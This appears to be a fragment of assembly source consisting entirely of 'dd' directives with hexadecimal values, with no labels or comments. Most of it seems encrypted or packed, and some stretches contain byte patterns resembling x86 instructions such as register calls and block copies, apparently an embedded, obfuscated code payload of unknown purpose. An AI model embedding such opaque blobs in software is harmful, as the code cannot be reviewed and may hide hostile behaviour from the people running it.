		dd 3E3BA7B9h, 42361739h, 2B70DB9h, 98364239h, 42D74BFh
		dd 9EB7EE34h, 3EAE03E2h, 1E4D19BFh, 4DBA134h, 15601A34h
		dd 154D0C3Dh, 90ED4432h, 136D020Fh, 13779419h, 0D45D8E39h
		dd 1571C23Dh, 90ED2232h, 136D31BBh, 13770D31h, 90EF4239h
		dd 136D35B3h, 156652DBh, 0D4EDD932h, 1A99497Ah,	9C262232h
		dd 1E462CB7h, 0B0E38934h, 0D2604F30h, 1E6033B7h, 15661134h
		dd 7D26E232h, 15665432h, 0EA664863h, 1E73BCA7h,	4CF37734h
		dd 9C604F1Dh, 1E46ABB7h, 94E39834h, 4C608325h, 2E7F1CDh
		dd 0A0992439h, 136D3A6Fh, 0C4D37765h, 98604F25h, 429CAB7h
		dd 14B6EE34h, 1E6099BFh, 94DBCF34h, 9E602925h, 1E4D4C87h
		dd 9EC27B34h, 1E758187h, 53A18F34h, 156611CEh, 10A64932h
		dd 2C577737h, 88E3213Ch, 9E601A27h, 1E7109BFh, 0B86ECD34h
		dd 159A64F5h, 9C661132h, 1E754D87h, 0EA9EC734h,	1546A73Dh
		dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h,	15661132h
		dd 9C624EB1h, 1E758187h, 0E380CB34h, 0D5A7EECDh, 88E38B31h
		dd 96604F27h, 1E4EFF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h
		dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h,	0A5F12232h
		dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 136D311Bh, 2BE21E33h
		dd 0AD668832h, 15664532h, 0F37B9FB1h, 1A661723h, 156680B6h
		dd 3CFBC932h, 0EA603361h, 855991E1h, 156E0C3Dh,	0D2E54432h
		dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
		dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 8DB9232h
		dd 156099D4h, 156EC03Dh, 88EB2232h, 137743CBh, 52EE5BCDh
		dd 94E3CF36h, 3E602925h, 118E92F5h, 53A12599h, 156644CEh
		dd 0EA77CB32h, 0A0EFEECDh, 136D9BF7h, 95662C60h, 150C2232h
		dd 3233A4CDh, 80998E39h, 136D5D47h, 48EBA968h, 0D2601A29h
		dd 15668833h, 11A7C732h, 0E3BAFBBh, 58F1739h, 0FC9977C7h
		dd 15664296h, 48EBA952h, 9E601A29h, 0CEB013Bh, 946055D4h
		dd 51326C0Ah, 9E31E7Eh,	73668832h, 59623CB3h, 5E32D1Ch
		dd 9E661132h, 13A00BC2h, 3C73C1B9h, 138F2439h, 9E661133h
		dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
		dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
		dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h,	0EAA1A43Dh
		dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh,	6F5A1132h
		dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
		dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h,	1E42E187h
		dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
		dd 0B195E6B5h, 1599CFF4h, 31C3D1BFh, 90ED2439h,	136D20F7h
		dd 906948B7h, 15664428h, 3D23A7F4h, 7D211739h, 0C1FC2FE0h
		dd 633F1CDh, 90EB2439h,	13686C2Ah, 0EA3458CDh, 1AA6C1E2h
		dd 15661AB7h, 60E39A32h, 9060831Ah, 0FE34BF2h, 0D3662232h
		dd 1E4E54B7h, 0FC0EC434h, 0EABF9E2Eh, 1E757787h, 0DE39C34h
		dd 0EA60864Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
		dd 0CE3CD32h, 456033D4h, 0A4E39C64h, 0EA6086A7h, 1AA64FE2h
		dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h,	0CEBA952h
		dd 456000D4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 1E7FA4A7h
		dd 159E8D34h, 45ED4432h, 78F3AB3Eh, 4D601A2Dh, 3142CCB9h
		dd 905D8519h, 136D3D5Fh, 1576933Dh, 905D8832h, 136D5D87h
		dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
		dd 15661516h, 10DE8832h, 98664432h, 1E2BF5BFh, 7587EE34h
		dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
		dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
		dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
		dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h,	9169EAC9h
		dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh,	4BD087CDh
		dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h,	1A98454Ch
		dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
		dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
		dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
		dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h,	0F38FC1F5h
		dd 15602423h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
		dd 54E39A7Ch, 9E608316h, 1E724DA7h, 96B8A934h, 4B6517F1h
		dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h,	96B9A3CDh
		dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
		dd 136D0CE3h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0F38FA7F5h
		dd 15641723h, 0CBED8832h, 9568F23Dh, 9669A2CBh,	1566113Ah
		dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
		dd 54E3CFEBh, 9E602916h, 1E7218A7h, 54DB0B34h, 14604F22h
		dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
		dd 9B8FEECDh, 0D2668832h, 480ADB7h, 15662034h, 1AB89A32h
		dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh,	95668832h
		dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 31270DB9h, 80ED4239h
		dd 136D363Bh, 527ACB1h,	1A678E39h, 15660CB6h, 1ABE1932h
		dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh,	0A5689B98h
		dd 1A8708B2h, 3ECC8538h
		dd 118DA1EDh, 0D3E5BAA1h, 0C4D30130h, 0D2604F1Ch, 1E7663B7h
		dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h,	0EA9F66DBh
		dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h,	9638D169h
		dd 0D28F40F6h, 0D299DDCBh, 480F8B7h, 15668D34h,	96B8CF32h
		dd 0B6526F1h, 312794B9h, 80ED8E39h, 136D503Bh, 98DBA17Ch
		dd 14601A33h, 14650C3Dh, 0CD5D4432h, 156EA03Dh,	0CF5D1132h
		dd 154D0E3Dh, 0A0EF4432h, 136D0CE3h, 0F38F8CB9h, 49678E23h
		dd 0CB8F4816h, 4A662232h, 14EB94F5h, 15678E39h,	4C3D4432h
		dd 11A2A16Ch, 0EA9EE6DBh, 54DB0BCDh, 14604F22h,	15DDA63Dh
		dd 884D1132h, 136DAC73h, 2B7C9B9h, 0DE652439h, 0FCE5DE19h
		dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
		dd 0F38FC1F5h, 15642423h, 0CBED1132h, 95683E3Dh, 9669C4CBh
		dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
		dd 3E661132h, 54E303EBh, 9E604F16h, 1E722BA7h, 0EA20F834h
		dd 90A177CDh, 1377A2DBh, 15662230h, 0A369CFB9h,	959F083Ch
		dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
		dd 1566DDD3h, 9EBF3A32h, 1E42C9B7h, 1CF3CF34h, 96602926h
		dd 1E76508Fh, 91698934h, 0EA99BAFBh, 9769FA09h,	1566113Ah
		dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh,	84CC6182h
		dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h,	157EADCAh
		dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
		dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h,	29661132h
		dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
		dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
		dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h,	2C8FDA6Bh
		dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h,	15661EDBh
		dd 15603132h, 108F4432h, 0AC662232h, 15661135h,	98ED2CC1h
		dd 136D503Bh, 9069EBB7h, 15661134h, 16F3DBBh, 0EC3F4239h
		dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h,	659DA2C2h
		dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
		dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
		dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
		dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h,	29960630h
		dd 13E21E92h, 0ED668832h, 15664BDBh, 1CD3AB32h,	98601A26h
		dd 42CD2AFh, 0ECB5BB34h, 53ED72F1h, 0ACE39822h,	4D608339h
		dd 987A82B1h, 1E7EF78Fh, 5165BC34h, 98CDAC16h, 1E44258Fh
		dd 51658F34h, 0BE363516h, 65735BFh, 16CB4239h, 0BE4E0676h
		dd 9830D26Ch, 42CBBAFh,	0FCB5BB34h, 0FFFFFF95h,	0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 98C0D5F2h, 96A45458h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 0D8E8CE25h, 0DCF1439Bh, 4E4CD32h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 8338C882h
		dd 462C4565h, 9F3BDF07h, 0C6D552B9h, 0B85E0003h, 0E9835492h
		dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5046E3BDh
		dd 0F3113C52h, 0DDD3A074h, 5163B977h, 0DF79F4B9h, 1331B575h
		dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h,	7E9034F4h
		dd 5E98339h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	6B151C17h
		dd 3FD525FBh, 2EADFDF5h, 22916455h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 0D336987Ch, 0FFA073ECh, 7C3ED226h
		dd 0E983C87Dh, 8BA4F305h, 0F5BD8DDBh, 8D0611E6h, 1201DC8Dh
		dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h,	0F4904C7h
		dd 0FFFFF285h, 83C08BFFh, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535019h, 411B8C0h, 85890000h, 60B1299h
		dd 0B3819D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h
		dd 411B853h, 85890000h,	60B1299h, 0B0229D8Dh, 0D3FF060Dh
		dd 0C08B585Bh, 72A4F2BBh, 7F04EB46h, 0E97AA242h, 565h
		dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h,	3A39041Ch
		dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h,	0F973985Bh
		dd 861E1175h, 0B12796C5h, 2923D5DEh, 81E96B80h,	23892DBh
		dd 0F6EA6D93h, 257F2E92h, 0D225D01Ah, 113F13E7h, 516CB956h
		dd 38051A8Bh, 46533A0Eh, 0B91D69FDh, 0A892C394h, 0E19C0B4h
		dd 2D074F33h, 132E7BA0h, 73D127C0h, 2C372B26h, 509AB5C3h
		dd 0F6C1D7C6h, 4206CE02h, 85C394B9h, 337D9757h,	0FDC5B2A1h
		dd 806DFF53h, 92F65A77h, 0BD809974h, 59542CC9h,	0A7FC64B0h
		dd 8024369Ah, 0C39495C4h, 3F13774Bh, 83BECB24h,	9556373Fh
		dd 0D290C394h, 95582C40h, 0EB2FC394h, 4EA33E2Ch, 6A842D6Dh
		dd 0A647BD48h, 833240F4h, 6Eh, 311EBD6Dh, 0BE91638Eh, 0BACF3EE8h
		dd 5BD35D8Fh, 0C394732Fh, 0A4AC5AA0h, 9473FE8Ch, 717C36C3h
		dd 415F729Bh, 15F32h, 0DEB90000h, 0A716FAD7h, 44FB6150h
		dd 8AEFC8ADh, 0FB4FF96Fh, 27350C12h, 0F879ECB8h, 32D48EEh
		dd 9B25C70Fh, 94A07713h, 1D59F8C3h, 47848761h, 70EFFD3h
		dd 0B9A1CCAh, 0B4A693E2h, 0E9073A49h, 0B994E10Eh, 0DADE5ABAh
		dd 0D8C517FBh, 3F0DF1CCh, 941DD3B7h, 0A6E54C3h,	2B2671DCh
		dd 2EBFF9A7h, 578CB3C9h, 0EA66DB6h, 0C3941D7Ah,	2D91F5CDh
		dd 0A81C2D7Ch, 7AFE0F95h, 0C0D87C8Bh, 0D13509FDh, 1DFF296Dh
		dd 3240F2DCh, 483CB0C2h, 0DFC39417h, 370E12FBh,	8C4019h
		dd 0DEAC0000h, 0E771FBDAh, 941D3B4Fh, 0D5238CC3h, 0E06886FAh
		dd 73BFE55Ah, 0DE462C05h, 370BFFD6h, 0A7A724D3h, 0E61F97E5h
		dd 9BB6C548h, 0C8C5DF37h, 2073D923h, 0F6273529h, 0FC7791A0h
		dd 42360913h, 0DA29839Bh, 0A5C913E7h, 0C3943321h, 4785CA6h
		dd 86079DB0h, 4120CB72h, 4CE632h, 0DE0E0000h, 0C517FBDAh
		dd 7BDF3996h, 86A0B069h, 0C9D37187h, 4E5B02F6h,	574B8F73h
		dd 866A8F73h, 14320D17h, 96EA1392h, 0CD38B4AFh,	0C5398DB8h
		dd 0D7DE352Bh, 5A2E196Fh, 0B6BE0266h, 0C3941DD7h, 0F008851Fh
		dd 3240F159h, 170h, 0D3DE9C00h,	56A30AFEh, 1D6D198Dh, 98E2C394h
		dd 61D5E831h, 0D845C92Dh, 0A590E510h, 0E7E30BD1h, 68C3941Dh
		dd 96103E12h, 0AEA3EE17h, 8893E9B5h, 0FCCFCA62h, 8F60BD9Eh
		dd 0E2564A75h, 3B46EE3Bh, 7A5EB206h, 0CEFB0CF9h, 0C098EA7Ah
		dd 8BA93A60h, 0B580957Ah, 0C23441AEh, 7D18C4BCh, 3498FCB8h
		dd 0BCDE3045h, 0CE45102Ch, 89A40A4h, 608BE0E4h,	0AA13673Ah
		dd 0A79B6F56h, 0CCD88189h, 465C0DF1h, 0D3228B7Fh, 4C595BE6h
		dd 8B24A0C4h, 57AB3A60h, 2838573h, 234B889Dh, 3A608BA7h
		dd 8BA52145h, 0D02A3A60h, 43728667h, 0D6A79BFFh, 0CF03F7CEh
		dd 11FC08EBh, 0DB44C807h, 8522E82h, 0ED1B7FF8h,	3521DA73h
		dd 148F72Ch, 0BD110000h, 0DD0B4A50h, 0BAA0BBC1h, 0E015B328h
		dd 0DC0A9D97h, 9D33A232h, 46BCBD9Eh, 35FE0BF2h,	6129D5B1h
		dd 0C605A3Ah, 0D0ED36D7h, 8668BD6Ch, 648A1C02h,	23978BB3h
		dd 0C569FB75h, 3A614881h, 90123C06h, 131E8F15h,	0D8764A3Eh
		dd 0C7152075h, 0CF0CDD6h, 193441C8h, 3CB751B5h,	364629C0h
		dd 6F002Ch, 6FEC0000h, 0A09DE20Ch, 5684F8DCh, 255397C4h
		dd 14A3E559h, 784E6AFAh, 0D921C394h, 7989FD75h,	410C394h
		dd 7FF745C9h, 0C394790Bh, 0C2D7A69Ch, 535503F7h, 0D0CA3852h
		dd 0BEFE9DD5h, 0D520EF36h, 4BC5BE4h, 0AE0DDF33h, 0BE63E251h
		dd 412BC556h, 94F3092Dh, 9DE213C3h, 176DDCA0h, 0C60A428h
		dd 0C61D65E2h, 7D4C5B4Ah, 0A49BB589h, 76h, 760D6FCCh, 52140E4h
		dd 0A2AEBD9Fh, 60CB7E0Ah, 9589F13Ah, 122F7821h,	0E6D324C1h
		dd 0CA8DD212h, 5C843A60h, 0CBDACB51h, 0A8FD50FEh, 8418469Dh
		dd 2EF96DFFh, 0BF4472CEh, 0FD06F75Bh, 8D714C55h, 82EE2292h
		dd 0C0247BE5h, 0D7F6921Ah, 1793076h, 0E4BC592Dh, 0A6EBB1E9h
		dd 76D77A0Eh, 9BB6C330h, 1E64D337h, 77A6303Ah, 69AD1120h
		dd 0D1F037BFh, 9714E64h, 0D6F2AEAh, 0A740E476h,	28BD861Bh
		dd 6ABF6ED2h, 9488B5CAh, 78555E4Fh, 1F895C94h, 5349B1CEh
		dd 6D58AD52h, 310C19F6h, 0BF869C4Dh, 5B6A2ECBh,	9F5F6AD1h
		dd 522D332Dh, 714C59B4h, 0C5F005E2h, 39E71h, 84260000h
		dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
		dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 0EC81CF7Bh
		dd 4, 57242C89h, 0C781E789h, 4,	4EF81h,	3C870000h, 3C895C24h
		dd 58836824h, 2C890000h, 0BF575124h, 0A966C58h,	8AAE781h
		dd 81470529h, 116B75CFh, 0EF81471Ah, 0F8D11D28h, 0D15FF989h
		dd 81D9F7E9h, 4DDBA5F1h, 59CF89E9h, 4EC81h, 24890000h
		dd 24048124h, 4, 0BA52515Dh, 46781746h,	4206EAC1h, 2A28E281h
		dd 0D2F77C99h, 447DE281h, 0F28139E9h, 39E0447Dh, 15AD189h
		dd 593989E9h, 5D2434FFh, 8B04C483h, 8953243Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 64E95C24h, 74FFF976h, 82AB8F8h
		dd 0C5030612h, 7742E0FFh, 6AD53C8Ah, 66FE18EEh,	681B7E7Eh
		dd 0AC0614B7h, 8A014487h, 0DC406985h, 0DC257C76h, 98107292h
		dd 0DEB7377Ch, 12EC17E3h, 69146385h, 0EA1F16C2h, 2C1A62AAh
		dd 2A6D2E68h, 0EDE965D5h, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0B2151B5h, 0FE8306h, 22850Fh, 85C60000h
		dd 60B2845h, 69696845h,	0B5FF8E72h, 60B0B01h, 7D18858Dh
		dd 0D0FF060Eh, 2F4D8589h, 0F08B060Bh, 0FE93E80h, 3185h
		dd 0CB858D00h, 0FF061078h, 75BD8BD0h, 81060B1Fh, 1184C7h
		dd 51B58B00h, 87060B21h, 8B9F7h, 0A4F30000h, 2151B58Bh
		dd 858D060Bh, 60F1732h,	0B58BD0FFh, 60B230Dh, 0F00FE83h
		dd 2285h, 4585C600h, 54060B28h,	4EBEF468h, 1B5FFFFh, 8D060B0Bh
		dd 0E7D1885h, 89D0FF06h, 0B230D85h, 80F08B06h, 850FE93Eh
		dd 3Ah,	230DB58Bh, 858D060Bh, 61078CBh,	0BD8BD0FFh, 60B1F75h
		dd 1184C781h, 0C7830000h, 0DB58B08h, 87060B23h,	8B9F7h
		dd 0A4F30000h, 230DB58Bh, 858D060Bh, 60F1732h, 0C361D0FFh
		dd 91F858Dh, 85890612h,	60B14CDh, 0F53F04EBh, 0D0E919FAh
		dd 0FD000005h, 0A44192A9h, 12F36051h, 0FC29CA07h, 0AB449FA6h
		dd 4EF56E51h, 81BCC427h, 516CB552h, 24136582h, 88C5CE3Fh
		dd 224AA66Bh, 0C58617A6h, 0DEE25A29h, 0A514F8D5h, 71F3605Fh
		dd 1D3B4FE7h, 0B68CC394h, 5560B598h, 0D2EF38E1h, 5968BF6Eh
		dd 0F9112C93h, 0B63E2FA3h, 5A50B098h, 0F151A24Bh, 2F4795A8h
		dd 0C3942F5Bh, 61F2D62Ch, 9E457084h, 0A4282771h, 201F6796h
		dd 7FCE785Ch, 0C6B71B26h, 4C3D81B0h, 0BF8A9F37h, 2F93F7CBh
		dd 0C4B63771h, 856A7B39h, 6E9F4473h, 0B0C22825h, 942C483Ch
		dd 71FBDFC3h, 942C89FDh, 0A241EC3h, 2C5F2E06h, 0D597C394h
		dd 1DE1DC28h, 18950F39h, 24136590h, 6BFEA750h, 51E502C6h
		dd 0C069D37Dh, 0E9324118h, 93h,	0F8D5DE77h, 1DAEDC14h
		dd 0E466C394h, 44FCA277h, 5CB00435h, 0A80D51A3h, 53A9247Eh
		dd 32410BBAh, 197h, 50BD7100h, 4C807445h, 729CABFDh, 0D0288C9Bh
		dd 372519EDh, 941DCBBFh, 2665CC3h, 980963D8h, 0BE74578Bh
		dd 5E88B7CFh, 0C5F403EAh, 0EB3AEB71h, 0BA0E314Bh, 2F9E6246h
		dd 58F6EAD5h, 2296ADF5h, 0AD11287Bh, 3498A9FCh,	4BC7C6DCh
		dd 5F44415Bh, 0DFA7948h, 0D7B33BF8h, 58C39481h,	31DC0E62h
		dd 0FD891DE6h, 72C39481h, 6CA01408h, 0DED321C2h, 94E00DDAh
		dd 71F1D5B9h, 0C3941D15h, 3A97A09Ah, 0FFCF6241h, 9F4E3216h
		dd 30636288h, 68DB6E61h, 23C92D10h, 944CFF8Bh, 160A70C3h
		dd 5632BAC4h, 99C3944Ch, 0F98D231Fh, 53A7102Fh,	0DFA39AEAh
		dd 1BC54DFBh, 1D678C19h, 0C3D43122h, 5F98EC00h,	2B6FC394h
		dd 0E0B62537h, 0A1D1C4F3h, 0DEAAC228h, 51C39491h, 0E24BBF69h
		dd 67D6BA97h, 0EB522611h, 0B0D45891h, 37C39491h, 0BD1BEFC3h
		dd 72856A7Bh, 0BB9FF347h, 79931286h, 32417EC0h,	8CE9h
		dd 0DADE7700h, 0DCCA71FBh, 0EDC2E86Dh, 793B4FE7h, 0B68CC394h
		dd 0AF92EB52h, 0C149E7DBh, 437A8A7Bh, 6059A8A5h, 0C3FE0BFAh
		dd 65ED1B7Fh, 11F6F72Dh, 0FE2F340Bh, 0EA519BBAh, 0EE642158h
		dd 73847585h, 709EF246h, 50A35298h, 0B6AA97ECh,	0ED608EC2h
		dd 1FBCAE95h, 0D5237537h, 0FD2B5DFAh, 81848CBAh, 0BF7E9213h
		dd 0EA324162h, 4Ah, 6EDADE72h, 536EBD25h, 0A5B71B7Fh, 0F21C2D78h
		dd 4E320D1Bh, 17FC092Bh, 0A721320Dh, 0F8162B76h, 0FAD7DE02h
		dd 1DAFDE16h, 2D67C394h, 0F0C168A0h, 13E83240h,	0
		dd 84C064F6h, 0BC39411h, 114B3F37h, 0E6DCC394h,	0D3DED248h
		dd 3E2C136Bh, 941DD2B6h, 96D55C3h, 0F6C3D485h, 7C435B02h
		dd 0FAD92188h, 0EBFA3C16h, 37E66A97h, 286CD0EFh, 0C029A4FEh
		dd 0CDF80DB1h, 32210579h, 0D9031864h, 9EFC4055h, 299DE5BDh
		dd 0D91A3740h, 1AEEDB2Ch, 60C0B8CAh, 0DFEA3D3Ah, 457C826Bh
		dd 0D82C9DF1h, 0F12B19EDh, 5D879AF4h, 635EAB50h, 370217F0h
		dd 0BC899A43h, 99146EC8h, 0C92A2770h, 35CE1ECFh, 15C0B2Ch
		dd 0BDD50000h, 2B1A791Eh, 3DE639D6h, 0EBBB44A3h, 0B8042261h
		dd 198D5FE4h, 0BD9E1378h, 2E156D98h, 0A5C90300h, 3A61A321h
		dd 94785CA6h, 673ED025h, 0C7847D8Fh, 5BB4AF83h,	0AC91E64Eh
		dd 5AC53FD8h, 0DAB68B1Fh, 2C3E82E6h, 8A7E0AA2h,	89F13A61h
		dd 74D8F100h, 217F610h,	93954337h, 81F8E12h, 764B5039h
		dd 152075D8h, 405342CEh, 0D6BA879Ch, 202A9EF2h,	618AF88Ch
		dd 170B4F3Ah, 0C76150A6h, 3687B455h, 4C9D2Ch, 6F7B0000h
		dd 5BE5770Ch, 0C06E5BAAh, 941D0034h, 0C91367C3h, 0E25337BFh
		dd 7BD43C6Bh, 55A91D2Ch, 0F373D771h, 3C6BE297h,	441AAB8Dh
		dd 0E697F737h, 1430DD1Dh, 92665DA5h, 1C905ABEh,	3C6BE938h
		dd 0F421CB0Fh, 0FD7690A1h, 8906h, 50BDAE00h, 1F6B8348h
		dd 90C3941Dh, 55C2B6AAh, 2075346Fh, 0CD7B5F66h,	4A90ABF1h
		dd 9FC18322h, 2F6CCBDh,	19A84E5Bh, 9CA2A35Eh, 8FFB73F9h
		dd 3A61D5h, 0E914C63Ah,	4594A39Eh, 88986739h, 41AE49E7h
		dd 6CD31934h, 0E584D030h, 7ED27C5Eh, 611BA9F6h,	7570A03Ah
		dd 954E7B8Ch, 2002A41Bh, 49D05C2h, 0B1CAD2EAh, 4E5903ABh
		dd 0E8D24473h, 5560B564h, 0B13C74E1h, 9EABFA2Bh, 0CB502C70h
		dd 40E78D21h, 62584E65h, 0D6F03F1h, 0D2A699E3h,	0CF231E6Bh
		dd 7FF701EBh, 0C3941D0Bh, 0CFD7A69Ch, 1EC80CF0h, 23B2D84Ch
		dd 0A00DBD86h, 0B0947851h, 0EB4602AAh, 0F1C93A79h, 3740299Dh
		dd 5746D01Ah, 488C704Fh, 79EBCCB8h, 0D17F433Ah,	91ACF916h
		dd 0CC12052Dh, 41D5C91h, 9EE45539h, 6226D3A7h, 0EDC72F63h
		dd 0D3EE3BE0h, 0BA879C09h, 0E93AEB8Ch, 0DC6822Ah, 71491991h
		dd 0BAC0A91Dh, 8E0A379Bh, 0B08D967Fh, 43142A3h,	0CDFB0h
		dd 84790000h, 830073E8h, 975058BCh, 0D4DE8379h,	57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 608Ah, 53243C89h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h,	0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 43876850h
		dd 35580EBEh, 8AC49A4h,	48BC689h, 4C48324h, 4EC81h, 24890000h
		dd 24048124h, 4, 0F3895358h, 8B951h, 0C1010000h, 5B591989h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	348B5C24h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F96F46E9h
		dd 0B8A244FFh, 6120F5Bh, 0E0FFC503h, 3D06388Bh,	524679Dh
		dd 151417E7h, 69B7D05Eh, 6A4668FBh, 7A594309h, 24E7DA6Eh
		dd 494B2CEFh, 2F9D62C4h, 58D1A1Fh, 3680BC8Ah, 29F725B2h
		dd 61BC000Fh, 6E52C8CEh, 869B78h, 6E3CDF7Eh, 71701F2h
		dd 33A9AC63h, 24B60486h, 2D68C4CFh, 42955E18h, 20FEE362h
		dd 2BA5FBE4h, 2A481174h, 42E8485Dh, 3ACE82B2h, 715AF7F8h
		dd 8EBh, 0B0350000h, 0D1E94999h, 68000004h, 612117Bh, 0F96EB6E9h
		dd 11E368FFh, 0ACE90612h, 68FFF96Eh, 6121375h, 0F96EA2E9h
		dd 3F4BFFh, 0D6E332D3h,	0B891E00Dh, 0D344ABBh, 0DCE339D6h
		dd 52A9B007h, 3EC774Eh,	0F31CC7FAh, 5C49AAA5h, 14E57E4Bh
		dd 0D3450D4h, 0CCBBC586h, 0FBDADE54h, 417C8471h, 9B6F99FDh
		dd 0FD4E132h, 0F47E5EFDh, 80E05956h, 50B6D25Ah,	0C139C394h
		dd 7E059727h, 6CF978ECh, 0C76BD9Fh, 22D8A8B8h, 970D3A61h
		dd 304BE216h, 18662C36h, 8E000003h, 6B312D46h, 0A7E20AD0h
		dd 0A8BD9F05h, 51D8852h, 5BAB103Eh, 3F046E92h, 0E9730894h
		dd 374CE43Ch, 6EA2160Ah, 0C7862EC0h, 48411055h,	96F27A84h
		dd 1935107Bh, 7BA52121h, 0D02A3510h, 66BF6EFCh,	7848F75Bh
		dd 22AE445Eh, 0D337D135h, 0B0BAC1DBh, 93AEF726h, 0A93DEB2Fh
		dd 4B1BF8D4h, 84B5C4A9h, 72F8DC30h, 985B7683h, 202F1A6Fh
		dd 8FD96FDBh, 294F0002h, 0A5000003h, 0CF97A51h,	0FA2BC8F9h
		dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh,	39041D8Ah
		dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C5860C0Eh,	0BD4A3281h
		dd 84084150h, 8616A640h, 2DC76FFDh, 0BEBD862Ch,	0D7049644h
		dd 0CF999513h, 65E80639h, 0D233201Fh, 2303F7CEh, 3C867F9Ch
		dd 6CFBD623h, 8665F5B9h, 0C175CA38h, 3D000002h,	0E401D2E9h
		dd 52B3A091h, 3CE90A47h, 0EB04DFE6h, 0EB5AE91h,	0C1FC04E7h
